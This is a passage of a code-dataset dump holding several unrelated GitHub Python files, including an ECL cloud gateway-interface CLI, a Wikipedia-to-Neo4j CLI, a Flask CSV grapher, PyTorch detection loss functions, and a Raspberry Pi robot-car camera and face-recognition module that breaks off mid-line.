parsed_args.network_id:\n search_opts.update({\"network_id\": parsed_args.network_id})\n if parsed_args.gw_vipv4:\n search_opts.update({\"gw_vipv4\": parsed_args.gw_vipv4})\n if parsed_args.gw_vipv6:\n search_opts.update({\"gw_vipv6\": parsed_args.gw_vipv6})\n if parsed_args.primary_ipv4:\n search_opts.update({\"primary_ipv4\": parsed_args.primary_ipv4})\n if parsed_args.primary_ipv6:\n search_opts.update({\"primary_ipv6\": parsed_args.primary_ipv6})\n if parsed_args.secondary_ipv4:\n search_opts.update({\"secondary_ipv4\": parsed_args.secondary_ipv4})\n if parsed_args.secondary_ipv6:\n search_opts.update({\"secondary_ipv6\": parsed_args.secondary_ipv6})\n if parsed_args.vrid:\n search_opts.update({\"vrid\": parsed_args.vrid})\n\n data = [to_obj.GwInterface(gw_interface)\n for gw_interface in network_client.list_gw_interfaces(\n **search_opts).get('gw_interfaces')]\n\n return (column_headers,\n (utils.get_item_properties(\n s, columns,\n ) for s in data))\n\n\nclass ShowGwInterface(command.ShowOne):\n def get_parser(self, prog_name):\n parser = super(ShowGwInterface, self).get_parser(prog_name)\n parser.add_argument(\n 'gw_interface_id',\n metavar=\"GATEWAY_INTERFACE_ID\",\n help=\"ID of Gateway Interface to show.\"\n )\n return parser\n\n def take_action(self, parsed_args):\n network_client = self.app.client_manager.network\n\n gw_interface_id = parsed_args.gw_interface_id\n\n dic = network_client.show_gw_interface(gw_interface_id).get('gw_interface')\n columns = dic # utils.get_columns(dic)\n obj = to_obj.GwInterface(dic)\n data = utils.get_item_properties(obj, columns,)\n return columns, data\n\n\nclass CreateGwInterface(command.ShowOne):\n def get_parser(self, prog_name):\n parser = super(CreateGwInterface, self).get_parser(prog_name)\n parser.add_argument(\n '--name',\n metavar='',\n help='Name of Gateway interface to create.')\n parser.add_argument(\n '--description',\n metavar='',\n help='Description of Gateway interface to create.')\n parser.add_argument(\n '--service_type',\n metavar='{vpn|internet|interdc|fic}',\n choices=[\"vpn\", \"internet\", \"interdc\", \"fic\"],\n required=True,\n help='Service type of Gateway interface to create')\n parser.add_argument(\n '--vrid',\n metavar='VRID',\n type=int,\n required=True,\n help='VRRP ID of Gateway interface to create.')\n parser.add_argument(\n '--network_id',\n metavar='NETWORK_ID',\n required=True,\n help='Network ID of Gateway interface to create.')\n parser.add_argument(\n '--netmask',\n metavar='NETMASK',\n required=True,\n type=int,\n help='Netmask of Gateway interface to create.')\n parser.add_argument(\n '--primary_ipv4',\n metavar='',\n required=True,\n help='Primary IPv4 of Gateway interface to create.')\n parser.add_argument(\n '--secondary_ipv4',\n metavar='',\n required=True,\n help='Secondary IPv4 of Gateway interface to create.')\n parser.add_argument(\n '--gw_vipv4',\n metavar='',\n required=True,\n help='Secondary IPv4 of Gateway interface to create.')\n group = parser.add_mutually_exclusive_group()\n group.add_argument(\n '--internet_gw_id',\n metavar='INTERNET_GATEWAY_ID',\n help='Internet Gateway ID of Gateway interface to create.')\n group.add_argument(\n '--interdc_gw_id',\n metavar='INTERDC_GATEWAY_ID',\n help='InterDC Gateway ID of Gateway interface to create.')\n group.add_argument(\n '--vpn_gw_id',\n metavar='VPN_GATEWAY_ID',\n help='VPN Gateway ID of Gateway interface to create.')\n group.add_argument(\n '--fic_gw_id',\n metavar='FIC_GATEWAY_ID',\n help='FIC Gateway ID of Gateway interface to create.')\n parser.add_argument(\n '--primary_ipv6',\n metavar='',\n help='Primary IPv6 of Gateway interface to create.')\n parser.add_argument(\n '--secondary_ipv6',\n metavar='',\n help='Secondary IPv6 of Gateway interface to create.')\n parser.add_argument(\n '--gw_vipv6',\n metavar='',\n help='Secondary IPv6 of Gateway interface to create.')\n return parser\n\n def take_action(self, parsed_args):\n network_client = self.app.client_manager.network\n\n body = {'gw_interface': {}}\n utils.update_dict(\n parsed_args,\n body['gw_interface'],\n ['name', 'description', 'service_type',\n 'primary_ipv4', 'secondary_ipv4', 'gw_vipv4',\n 'internet_gw_id', 'vpn_gw_id', 'fic_gw_id', 'interdc_gw_id',\n 'primary_ipv6', 'secondary_ipv6', 'gw_vipv6',\n 'vrid', 'network_id', 'netmask'])\n\n dic = network_client.create_gw_interface(body).get('gw_interface')\n columns = utils.get_columns(dic)\n obj = to_obj.GwInterface(dic)\n data = utils.get_item_properties(\n obj, columns, )\n return columns, data\n\n\nclass SetGwInterface(command.ShowOne):\n def get_parser(self, prog_name):\n parser = super(SetGwInterface, self).get_parser(prog_name)\n parser.add_argument(\n 'gw_interface',\n metavar='GATEWAY_INTERFACE_ID',\n help='ID of gateway interface to update.')\n parser.add_argument(\n '--name',\n metavar='',\n help='Name of Gateway interface to create.')\n parser.add_argument(\n '--description',\n metavar='',\n help='Description of Gateway interface to create.')\n return parser\n\n def take_action(self, parsed_args):\n network_client = self.app.client_manager.network\n\n body = {'gw_interface': {}}\n gw_interface_id = parsed_args.gw_interface\n utils.update_dict(\n parsed_args,\n body['gw_interface'],\n ['name', 'description'])\n\n dic = network_client.update_gw_interface(\n gw_interface_id, body).get('gw_interface')\n columns = utils.get_columns(dic)\n obj = to_obj.GwInterface(dic)\n data = utils.get_item_properties(\n obj, columns, )\n return columns, data\n\n\nclass DeleteGwInterface(command.Command):\n def get_parser(self, prog_name):\n parser = super(DeleteGwInterface, self).get_parser(prog_name)\n parser.add_argument(\n 'gw_interface_id',\n metavar=\"GATEWAY_INTERFACE_ID\",\n nargs=\"+\",\n help=\"ID(s) of Gateway Interface to delete.\"\n )\n return parser\n\n def take_action(self, parsed_args):\n network_client = self.app.client_manager.network\n\n for giid in parsed_args.gw_interface_id:\n network_client.delete_gw_interface(giid)\n","repo_name":"nttcom/eclcli","sub_path":"eclcli/network/v2/gateway_interface.py","file_name":"gateway_interface.py","file_ext":"py","file_size_in_byte":11562,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"37"} +{"seq_id":"19793144715","text":"'''\nMain works as CLI tool for orchestrating\nsubmodule scripts -- meant to be 'thin glue'\nfor the other modules in this project.\n\nSee mod lvl str for more info.\n\nConvention:\n argument should be named as its mapped function\n (see cli_actions()) and the module it uses. So \n arg x should use func x which uses the in x mod.\n\n For uniformity, each task function should \n have the same signature as dev() in this mod.\n'''\n\nimport sys\nimport os\n\nfrom src.typehelpers import ArticleData\nfrom src.typehelpers import db_spec_wikidata_label\nfrom src.typehelpers import db_spec_fulltext_index\n\nfrom src.data_gen.titles import load_titles\nfrom src.data_gen.wikiapi import pull_articles\nfrom src.neo4j_tools.comm import Neo4jComm\n\nfrom src.linking.hyperlinks.linker import link as hyperlinked_link\n\n# // Acts as documentation -- also used as \n# // 'help' printout for CLI\nCLI_HELP = '''\n-------------------------------------------------\nCLI tool for orchestrating scripts in submodules.\n-------------------------------------------------\nBaic usage:\n Arguments are partially sensitive to position.\n State between arguments is kept, meaning that\n if arg2 needs data from arg1, then it will work\n as long as arg1 comes before arg2, even with an\n arbitrary amount args in-between.\n\n\nArguments:\n -titles Specify path where article\n names are listed.\n\n -wikiapi Uses data generated from \n <-titles> arg to pull data\n from wikipedia. This arg\n expects a value specifying\n the amount of subsearches for\n each article. These sub-searches\n are based on hyperlinks in each\n article. 0 = None.\n\n -neo4j Prepare a neo4j interface obj.\n Arg vals are expected to be:\n -neo4j uri,usr,pwd\n \n -createdb Pushes data created with\n -wikiapi into the neo4j db.\n This arg has to come after\n -wikiapi (for data)\n -neo4j (for db connection).\n \n -link Try linking wiki nodes in neo4j.\n Note: expects -neo4j arg to be\n used before this one.\n\nExamples:\n Use data in './data/titles_min.txt' to fetch article\n names and use that to retrieve data from wikipedia:\n > -titles ./data/titles_min.txt -wikiapi 0\n\n Previous example but with pushing data into Neo4j (\n each argument is a new line for formatting purposes):\n > -titles ./data/titles_min.txt\n -wikiapi 0\n -neo4j neo4j://localhost:7687,neo4j,neo4j\n -createdb\n\n Link nodes in db.\n > -neo4j neo4j://localhost:7687,neo4j,neo4j -link\n\n'''\n\n\ndef cli_actions()-> dict:\n ''' Binds CLI arguments to funcs. \n Keys are CLI argument identifiers,\n while vals are used as such:\n [0] Does this arg expect a value?\n if not, then the next item in\n sys.argv will be interpreted as \n another arg.\n\n [1] associated function.\n '''\n return {\n # // reserved for development # // \n '-inspect' : [False, inspect],\n '-devhook' : [False, devhook],\n # // ---------------------------- # //\n '-titles' : [True, titles],\n '-wikiapi' : [True, wikiapi],\n '-neo4j' : [True, neo4j],\n '-createdb': [False, createdb],\n '-link' : [False, link]\n }\n\n\ndef inspect(arg_id, arg_val, state):\n '@@ reserved hook for inspecting state'\n state_fmt = ''\n # // ''.join has an issue with \\n\n for k, v in state.items():\n state_fmt += f'\\n\\t {k} : {v}'\n print(\"Current State:\" + state_fmt)\n \n\ndef devhook(arg_id, arg_val, state):\n ''' @@ reserved for development; recieve \n for hooking up experimental modules.\n '''\n \n\ndef titles(arg_id, arg_val, state):\n # // Handle file doesn't exist.\n assert os.path.exists(arg_val), f'''\n Used the following:\n Arg: '{arg_id}'\n Val: '{arg_val}'\n \n ...but the val is not a valid filename.\n '''\n state[arg_id] = load_titles(path=arg_val)\n\n\ndef wikiapi(arg_id, arg_val, state):\n try:\n arg_val = int(arg_val)\n except: \n print(f'''\n Used the following:\n Arg: '{arg_id}'\n\n ..but the following value was not\n a integer. Got: '{arg_val}'\n ''')\n return\n\n # // Try accessing necessary state data.\n gen_titles = state.get('-titles')\n assert gen_titles is not None, '''\n Used the following:\n Arg: '{arg_id}'\n\n ..but could not access a state which\n contains valid wikipedia article titles.\n Use -titles argument before this one.\n '''\n\n # // Construct 'piped generator'. This is the\n # // first layer where article title gen.\n # // is converted to ArticleData gen.\n g = (\n pull_articles(\n titles=[title],\n subsearch=arg_val\n )\n for title in gen_titles\n )\n # // State unwraps sub gen.\n state[arg_id] = (\n sub for sub in g for sub in sub\n )\n\n\ndef neo4j(arg_id, arg_val, state):\n arg_val = arg_val.split(',')\n assert len(arg_val) == 3, f'''\n Used the following:\n Arg: '{arg_id}'\n .. but the following value did not \n contain the right amount of into.\n Should be: \n ,,\n Got:\n {','.join(arg_val)}\n '''\n # // Instantiate neo4j communication tool\n uri, usr, pwd = arg_val\n # // Safety for pesky connection issues.\n try:\n state[arg_id] = Neo4jComm(\n uri=uri, usr=usr, pwd=pwd)\n except Exception as e:\n raise ValueError(f'''\n Error while setting up Neo4j interface.\n Ensure correct uri, usr and/or pwd. And\n that Neo4j is running.\n Msg: {e}\n ''')\n\ndef createdb(arg_id, arg_val, state):\n # // Try fetch data.\n gen_article_data = state.get('-wikiapi')\n assert gen_article_data is not None, '''\n Tried to create a database but data\n is missing. Use -wikiapi arg before this.\n '''\n # // Try retrieve neo4j obj\n n4jc = state.get('-neo4j')\n assert n4jc != None, '''\n Tried to create a database but the\n object used for neo4j communication\n is missing. Use -neo4j arg before this.\n '''\n try:\n n4jc.create_ftindex(\n name=db_spec_fulltext_index,\n label=db_spec_wikidata_label,\n # // Refers to the content property of\n # // ArticleData (in typehelpers.py).\n prop='content'\n )\n except:\n pass\n\n for article_data in gen_article_data:\n assert type(article_data) is ArticleData, '''\n Tried to create a db but the type inside\n generator (made with -wikiapi) is unexpected.\n '''\n\n n4jc.push_node(\n label=db_spec_wikidata_label,\n # // Load everything from ArticleData\n # // into the database.\n props=article_data.__dict__\n )\n\n \ndef link(arg_id, arg_val, state):\n # // Try retrieve neo4j obj\n n4jc = state.get('-neo4j')\n assert n4jc != None, '''\n Tried to create a database but the\n object used for neo4j communication\n is missing. Use -neo4j arg before this.\n '''\n # // Call linking routine; vals of and\n # // refer to properties of ArticleData\n # // found in typehelpers.py.\n hyperlinked_link(\n n4jcomm=n4jc,\n title_key='title',\n hlink_key='links'\n )\n\n\ndef start():\n 'Point of entry of CLI'\n\n # // List of arguments.\n args = sys.argv[1:]\n if len(args) == 0 :\n print(CLI_HELP)\n return\n # // Keeps shared state between arguments. It is\n # // passed as an arg to each task func, where old or\n # // previous state is accessed and new state is set.\n state = {}\n\n # // Odd looping because it enables argument jumping.\n # // Some arguments don't accept values, while others\n # // do, so having flexibility in iteration is good.\n i = 0\n while i < len(args):\n step = 1\n try:\n # // Assumed to be a recognised arg.\n current_arg = args[i]\n # // Unpack for readability and check if arg is valid.\n arg_targets = cli_actions().get(current_arg)\n assert arg_targets, f'Unrecognised arg: {current_arg}'\n # // Unpack vals for readability.\n next_is_val, func = arg_targets\n # // Optional val for current arg.\n arg_val = args[i+1] if next_is_val else None\n # // Use task func of current arg&val.\n func(current_arg, arg_val, state)\n # // Adding potential step.\n step += 1 if next_is_val else 0\n\n except Exception as e:\n print(f'issue on arg \"{args[i]}\": '+ \n f'\\n\\tException: {e}')\n\n print(\"\\n\\n\", CLI_HELP)\n # // Failed; no point in continuing\n return\n finally:\n # // In either case; increment counter.\n i += step\n\nstart()\n","repo_name":"crunchypi/wikinodes-preprocessing","sub_path":"cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":9344,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"35674630174","text":"from flask import Flask, render_template, request, redirect\r\nfrom flask.helpers import url_for\r\nimport pandas as pd\r\nimport pandas.io.common\r\napp = Flask(__name__)\r\n\r\n@app.route(\"/\")\r\ndef home():\r\n return render_template(\"index.html\")\r\n\r\n@app.route(\"/upload-file\", methods=[\"GET\", \"POST\"])\r\ndef upload_file():\r\n if request.method==\"POST\":\r\n\r\n if request.files:\r\n file = request.files[\"CSV-file\"]\r\n file.save('/static/file.csv')\r\n print(\"Success saving\")\r\n df = pd.read_csv(\"/static/file.csv\")\r\n try: \r\n return render_template(\"graph.html\", tokens = df[\"Currency\"].unique())\r\n except KeyError:\r\n return redirect(\"/\")\r\n else:\r\n return redirect(\"/\")\r\n\r\n@app.route(\"/\")\r\ndef graph(token):\r\n df = pd.read_csv(\"/static/file.csv\")\r\n df.set_index(df[\"Currency\"], inplace=True)\r\n df_al = df.copy()\r\n df_al.drop([\"Updated At\", \"Status\"], axis=1, inplace=True)\r\n df_al[\"Created At\"] = df_al[\"Created At\"].apply(lambda x: x[:10])\r\n # df_al[\"Total Quantity\"] = df_al[\"Total Quantity\"].apply(lambda x: round(x, 2))\r\n quantity, date = list(df_al.loc[token][\"Total Quantity\"]), list(df_al.loc[token][\"Created At\"])\r\n return render_template(\"graph.html\", token=token, data=quantity, labels=date, tokens = df[\"Currency\"].unique())\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n","repo_name":"SouraTR/gamora","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28458925763","text":"import timeit\n\n\ndef fibonacchi(limit):\n previous = 1\n next = 1\n temp = 0\n term = 2\n while str(temp).__len__() < limit:\n term += 1\n temp = previous + next\n previous = next\n next = temp\n return term\n\n\nif __name__==\"__main__\":\n start = timeit.default_timer()\n\n limit = 1000\n print(fibonacchi(limit))\n\n stop = timeit.default_timer()\n print(\"Time: \", stop - start, \" s\")","repo_name":"tgardela/project_euler_python","sub_path":"025_1000-digit_Fibonacci_number.py","file_name":"025_1000-digit_Fibonacci_number.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31564595321","text":"import torch\nimport math\n\n\n########################################################################################################################\nclass BoxSimilarity(object):\n def __init__(self, iou_type=\"giou\", coord_type=\"xyxy\", eps=1e-9):\n self.iou_type = iou_type\n self.coord_type = coord_type\n self.eps = eps\n\n def __call__(self, box1, box2):\n \"\"\"\n :param box1: [num,4] predicts\n :param box2:[num,4] targets\n :return:\n \"\"\"\n box1_t = box1.T\n box2_t = box2.T\n\n if self.coord_type == \"xyxy\":\n b1_x1, b1_y1, b1_x2, b1_y2 = box1_t[0], box1_t[1], box1_t[2], box1_t[3]\n b2_x1, b2_y1, b2_x2, b2_y2 = box2_t[0], box2_t[1], box2_t[2], box2_t[3]\n elif self.coord_type == \"xywh\":\n b1_x1, b1_x2 = box1_t[0] - box1_t[2] / 2., box1_t[0] + box1_t[2] / 2.\n b1_y1, b1_y2 = box1_t[1] - box1_t[3] / 2., box1_t[1] + box1_t[3] / 2.\n b2_x1, b2_x2 = box2_t[0] - box2_t[2] / 2., box2_t[0] + box2_t[2] / 2.\n b2_y1, b2_y2 = box2_t[1] - box2_t[3] / 2., box2_t[1] + box2_t[3] / 2.\n elif self.coord_type == \"ltrb\":\n b1_x1, b1_y1 = 0. - box1_t[0], 0. - box1_t[1]\n b1_x2, b1_y2 = 0. + box1_t[2], 0. + box1_t[3]\n b2_x1, b2_y1 = 0. - box2_t[0], 0. - box2_t[1]\n b2_x2, b2_y2 = 0. + box2_t[2], 0. + box2_t[3]\n else:\n raise NotImplementedError(\"coord_type only support xyxy, xywh,ltrb\")\n inter_area = (torch.min(b1_x2, b2_x2) - torch.max(b1_x1, b2_x1)).clamp(0) * \\\n (torch.min(b1_y2, b2_y2) - torch.max(b1_y1, b2_y1)).clamp(0)\n\n w1, h1 = b1_x2 - b1_x1, b1_y2 - b1_y1\n w2, h2 = b2_x2 - b2_x1, b2_y2 - b2_y1\n union_area = w1 * h1 + w2 * h2 - inter_area + self.eps\n iou = inter_area / union_area\n if self.iou_type == \"iou\":\n return iou\n\n cw = torch.max(b1_x2, b2_x2) - torch.min(b1_x1, b2_x1)\n ch = torch.max(b1_y2, b2_y2) - torch.min(b1_y1, b2_y1)\n if self.iou_type == \"giou\":\n c_area = cw * ch + self.eps\n giou = iou - (c_area - union_area) / c_area\n return giou\n\n diagonal_dis = cw ** 2 + ch ** 2 + self.eps\n center_dis = ((b2_x1 + b2_x2 - b1_x1 - b1_x2) ** 2 +\n (b2_y1 + b2_y2 - b1_y1 - b1_y2) ** 2) / 4\n if self.iou_type == 'diou':\n diou = iou - center_dis / diagonal_dis\n return diou\n\n v = (4 / math.pi ** 2) * torch.pow(torch.atan(w2 / h2) - torch.atan(w1 / h1), 2)\n with torch.no_grad():\n alpha = v / ((1 + self.eps) - iou + v)\n\n if self.iou_type == \"ciou\":\n ciou = iou - (center_dis / diagonal_dis + v * alpha)\n return ciou\n\n raise NotImplementedError(\"iou_type only support iou,giou,diou,ciou\")\n\n\nclass IOULoss(object):\n def __init__(self, iou_type=\"giou\", coord_type=\"xyxy\"):\n super(IOULoss, self).__init__()\n self.iou_type = iou_type\n self.box_similarity = BoxSimilarity(iou_type, coord_type)\n\n def __call__(self, predicts, targets):\n similarity = self.box_similarity(predicts, targets)\n if self.iou_type == \"iou\":\n return -similarity.log()\n else:\n return 1 - similarity\n\n########################################################################################################################\n\nclass FocalLoss(object):\n def __init__(self, alpha=0.25, gamma=2.0, loss_weight=1.0):\n self.alpha = alpha\n self.gamma = gamma\n self.loss_weight = loss_weight\n\n def __call__(self, predicts, targets, weight, avg_factor):\n mask=torch.isnan(predicts.log())\n pos_loss=torch.FloatTensor(predicts.size()).type_as(predicts)\n pos_loss[mask]=torch.abs(targets[mask]-predicts[mask])\n neg_mask=torch.bitwise_not(mask)\n pos_loss[neg_mask]=-self.alpha * targets[neg_mask] * ((1 - predicts[neg_mask]) ** self.gamma) * (predicts[neg_mask].log())\n\n neg_loss = torch.FloatTensor(predicts.size()).type_as(predicts)\n mask = torch.isnan((1 - predicts).log())\n neg_mask=torch.bitwise_not(mask)\n neg_loss[mask]=torch.abs((1.-targets[mask])-(1.-predicts[mask]))\n neg_loss[neg_mask]=-(1 - self.alpha) * (1. - targets[neg_mask]) * (predicts[neg_mask] ** self.gamma) * ((1 - predicts[neg_mask]).log())\n\n loss = pos_loss + neg_loss\n loss *= weight.view(-1, 1)\n\n return self.loss_weight * loss.sum() / avg_factor\n\n\n########################################################################################################################\n\nclass SmoothL1Loss(object):\n def __init__(self, beta=1.0, loss_weight=1.0):\n super(SmoothL1Loss, self).__init__()\n self.beta = beta\n self.loss_weight = loss_weight\n\n def __call__(self, pred, target, weight, avg_factor):\n diff = torch.abs(pred - target)\n loss = torch.where(diff < self.beta, 0.5 * diff * diff / self.beta, diff - 0.5 * self.beta)\n loss *= weight\n return self.loss_weight * loss.sum() / avg_factor\n\n\n\n########################################################################################################################\n\n\nclass PointGenerator(object):\n\n def _meshgrid(self, x, y, row_major=True):\n xx = x.repeat(len(y))\n yy = y.view(-1, 1).repeat(1, len(x)).view(-1)\n if row_major:\n return xx, yy\n else:\n return yy, xx\n\n def grid_points(self, featmap_size, stride=16, device='cuda'):\n '''\n\n :param featmap_size:\n :param stride:\n :param device:\n :return:\n all_points(torch.tensor): shape=[feat_h*feat_w,3] 3==>(x,y,stride)\n x y 原图尺度 stride (x,y)对应的stride\n '''\n feat_h, feat_w = featmap_size\n # shift_x shift_y 原图尺度\n shift_x = torch.arange(0., feat_w, device=device) * stride\n shift_y = torch.arange(0., feat_h, device=device) * stride\n shift_xx, shift_yy = self._meshgrid(shift_x, shift_y) # shape=[feat_h*feat_w]=[-1]\n stride = shift_x.new_full((shift_xx.shape[0], ), stride) # shape=[-1]\n\n shifts = torch.stack([shift_xx, shift_yy, stride], dim=-1)\n all_points = shifts.to(device)\n return all_points\n\n def valid_flags(self, featmap_size, valid_size, device='cuda'):\n '''\n\n :param featmap_size:\n :param valid_size:\n :param device:\n :return:\n valid: shape=[feat_h*feat_w,]\n '''\n feat_h, feat_w = featmap_size\n valid_h, valid_w = valid_size\n assert valid_h <= feat_h and valid_w <= feat_w\n valid_x = torch.zeros(feat_w, dtype=torch.bool, device=device)\n valid_y = torch.zeros(feat_h, dtype=torch.bool, device=device)\n valid_x[:valid_w] = 1\n valid_y[:valid_h] = 1\n valid_xx, valid_yy = self._meshgrid(valid_x, valid_y)\n valid = valid_xx & valid_yy\n return valid\n\n\n########################################################################################################################\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Edwardwaw/repPointsV1","sub_path":"losses/commons.py","file_name":"commons.py","file_ext":"py","file_size_in_byte":7175,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"7687184233","text":"from django.http import StreamingHttpResponse\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.template import RequestContext, loader, Context\nfrom django.contrib.auth.decorators import login_required\n\nfrom .base_camera import Camera as Localcamera\nfrom .base_camera import Camera as Detectcarnumbercamera\n# from .base_camera_opencv import Camera as Opencvcamera\n\nfrom gpiozero import Robot, DistanceSensor, Servo, LED\nfrom gpiozero import DigitalInputDevice\nfrom signal import pause\nimport os\n\nimport time\nimport threading\nimport cv2\nimport numpy as np\nimport face_recognition\nimport sys\nimport tarfile\nfrom hyperlpr import *\nfrom PIL import Image, ImageDraw, ImageFont\nimport pyzbar.pyzbar as pyzbar\n\nfrom .models import Uploadimage\n\ntry:\n from greenlet import getcurrent as get_ident\nexcept ImportError:\n try:\n from thread import get_ident\n except ImportError:\n from _thread import get_ident\n\nfrom threading import Thread\nimport importlib.util\nfrom datetime import datetime\n\n# vosk\nfrom vosk import Model, KaldiRecognizer, SetLogLevel\nimport sys\nimport os\nimport wave\nimport json\nimport configparser\n\n# common\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n# vosk\nvosk_model = Model(BASE_DIR + \"/model/vosk\")\n\n# parse config file\ndragon_cf = configparser.ConfigParser()\ndragon_cf.read(BASE_DIR + '/dragonconfig/voice_rec.ini')\n\n\n\n# Define VideoStream class to handle streaming of video from webcam in separate processing thread\n# Source - Adrian Rosebrock, PyImageSearch: https://www.pyimagesearch.com/2015/12/28/increasing-raspberry-pi-fps-with-python-and-opencv/\nclass VideoStream:\n \"\"\"Camera object that controls video streaming from the Picamera\"\"\"\n def __init__(self,resolution=(640,480),framerate=30):\n # Initialize the PiCamera and the camera image stream\n self.stream = cv2.VideoCapture(0)\n ret = self.stream.set(cv2.CAP_PROP_FOURCC, cv2.VideoWriter_fourcc(*'MJPG'))\n ret = self.stream.set(3,resolution[0])\n ret = self.stream.set(4,resolution[1])\n\n # Read first frame from the stream\n (self.grabbed, self.frame) = self.stream.read()\n\n # Variable to control when the camera is stopped\n self.stopped = False\n\n def start(self):\n # Start the thread that reads frames from the video stream\n Thread(target=self.update,args=()).start()\n return self\n\n def update(self):\n # Keep looping indefinitely until the thread is stopped\n while True:\n # If the camera is stopped, stop the thread\n if self.stopped:\n # Close camera resources\n self.stream.release()\n return\n\n # Otherwise, grab the next frame from the stream\n (self.grabbed, self.frame) = self.stream.read()\n\n def read(self):\n # Return the most recent frame\n return self.frame\n\n def stop(self):\n # Indicate that the camera and thread should be stopped\n self.stopped = True\n\n\n# sensor declare\nrobot = Robot(left=(5, 6), right=(23, 24))\nservoud = Servo(26)\nservolr = Servo(17)\nir1 = DigitalInputDevice(25)\nir2 = DigitalInputDevice(16)\n\n\n# script workspace\nscriptfolder = os.path.dirname(os.path.dirname(__file__)) + '/script/'\n\n\n# servo position\n# servo: up and down\nservoudvalue = 0\nservolrvalue = 0\n\n\n\nclass CameraEvent(object):\n \"\"\"An Event-like class that signals all active clients when a new frame is\n available.\n \"\"\"\n def __init__(self):\n self.events = {}\n\n def wait(self):\n \"\"\"Invoked from each client's thread to wait for the next frame.\"\"\"\n ident = get_ident()\n if ident not in self.events:\n # this is a new client\n # add an entry for it in the self.events dict\n # each entry has two elements, a threading.Event() and a timestamp\n self.events[ident] = [threading.Event(), time.time()]\n return self.events[ident][0].wait()\n\n def set(self):\n \"\"\"Invoked by the camera thread when a new frame is available.\"\"\"\n now = time.time()\n remove = None\n for ident, event in self.events.items():\n if not event[0].isSet():\n # if this client's event is not set, then set it\n # also update the last set timestamp to now\n event[0].set()\n event[1] = now\n else:\n # if the client's event is already set, it means the client\n # did not process a previous frame\n # if the event stays set for more than 5 seconds, then assume\n # the client is gone and remove it\n if now - event[1] > 5:\n remove = ident\n if remove:\n del self.events[remove]\n\n def clear(self):\n \"\"\"Invoked from each client's thread after a frame was processed.\"\"\"\n self.events[get_ident()][0].clear()\n\n\n\nclass BaseCamera(object):\n thread = None # background thread that reads frames from camera\n frame = None # current frame is stored here by background thread\n last_access = 0 # time of last client access to the camera\n event = CameraEvent()\n\n def __init__(self):\n \"\"\"Start the background camera thread if it isn't running yet.\"\"\"\n if BaseCamera.thread is None:\n BaseCamera.last_access = time.time()\n\n # start background frame thread\n BaseCamera.thread = threading.Thread(target=self._thread)\n BaseCamera.thread.start()\n\n # wait until frames are available\n while self.get_frame() is None:\n time.sleep(0)\n\n def get_frame(self):\n \"\"\"Return the current camera frame.\"\"\"\n BaseCamera.last_access = time.time()\n\n # wait for a signal from the camera thread\n BaseCamera.event.wait()\n BaseCamera.event.clear()\n\n return BaseCamera.frame\n\n @staticmethod\n def frames():\n \"\"\"\"Generator that returns frames from the camera.\"\"\"\n raise RuntimeError('Must be implemented by subclasses.')\n\n @classmethod\n def _thread(cls):\n \"\"\"Camera background thread.\"\"\"\n print('Starting camera thread.')\n frames_iterator = cls.frames()\n for frame in frames_iterator:\n BaseCamera.frame = frame\n BaseCamera.event.set() # send signal to clients\n time.sleep(0)\n\n # if there hasn't been any clients asking for frames in\n # the last 10 seconds then stop the thread\n if time.time() - BaseCamera.last_access > 10:\n frames_iterator.close()\n print('Stopping camera thread due to inactivity.')\n break\n BaseCamera.thread = None\n\n\nclass Camera(BaseCamera):\n video_source = 0\n\n def __init__(self):\n if os.environ.get('OPENCV_CAMERA_SOURCE'):\n Camera.set_video_source(int(os.environ['OPENCV_CAMERA_SOURCE']))\n super(Camera, self).__init__()\n\n @staticmethod\n def set_video_source(source):\n Camera.video_source = source\n\n @staticmethod\n def frames():\n\n camera = cv2.VideoCapture(Camera.video_source)\n if not camera.isOpened():\n raise RuntimeError('Could not start camera.')\n\n framex = camera.get(3)\n framey = camera.get(4)\n centerx = framex/2\n centery = framey/2\n font = cv2.FONT_HERSHEY_SIMPLEX\n\n# Load a sample picture and learn how to recognize it.\n print(\"load face image: begin begin\")\n bibo_image = face_recognition.load_image_file(\"/home/pi/work/django/dragoncar/dragoncar/a13.jpg\")\n print(\"load face image: end end\")\n bibo_face_encoding = face_recognition.face_encodings(bibo_image)[0]\n\n# Create arrays of known face encodings and their names\n known_face_encodings = [\n bibo_face_encoding\n ]\n known_face_names = [\n \"bibo\"\n ]\n\n# Initialize some variables\n face_locations = []\n face_encodings = []\n face_names = []\n process_this_frame = True\n\n while True:\n # read current frame\n _, frame = camera.read()\n\n # Resize frame of video to 1/4 size for faster face recognition processing\n small_frame = cv2.resize(frame, (0, 0), fx=0.25, fy=0.25)\n\n # Convert the image from BGR color (which OpenCV uses) to RGB color (which face_recognition uses)\n rgb_small_frame = small_frame[:, :, ::-1]\n\n if process_this_frame:\n # Find all the faces and face encodings in the current frame of video\n face_locations = face_recognition.face_locations(rgb_small_frame)\n face_encodings = face_recognition.face_encodings(rgb_small_frame, face_locations)\n\n face_names = []\n for face_encoding in face_encodings:\n # See if the face is a match for the known face(s)\n matches = face_recognition.compare_faces(known_face_encodings, face_encoding, tolerance=0.50)\n name = \"Unknown\"\n\n # If a match was found in known_face_encodings, just use the first one.\n if True in matches:\n first_match_index = matches.index(True)\n name = known_face_names[first_match_index]\n\n face_names.append(name)\n\n process_this_frame = not process_this_frame\n\n # Display the results\n# for (top, right, bottom, left), name in zip(face_locations, face_names):\n for (x, y, w, h), name in zip(face_locations, face_names):\n # Scale back up face locations since the frame we detected in was scaled to 1/4 size\n x *= 4\n y *= 4\n w *= 4\n h *= 4\n# name = name + str(x) + \" \" + str(y) + \" \" + str(w) + \" \" + str(h) \n # Draw a box around the face\n cv2.rectangle(frame, (h, x), (y, w), (0, 255, 255), 2)\n cv2.putText(frame, name, (h + 6, 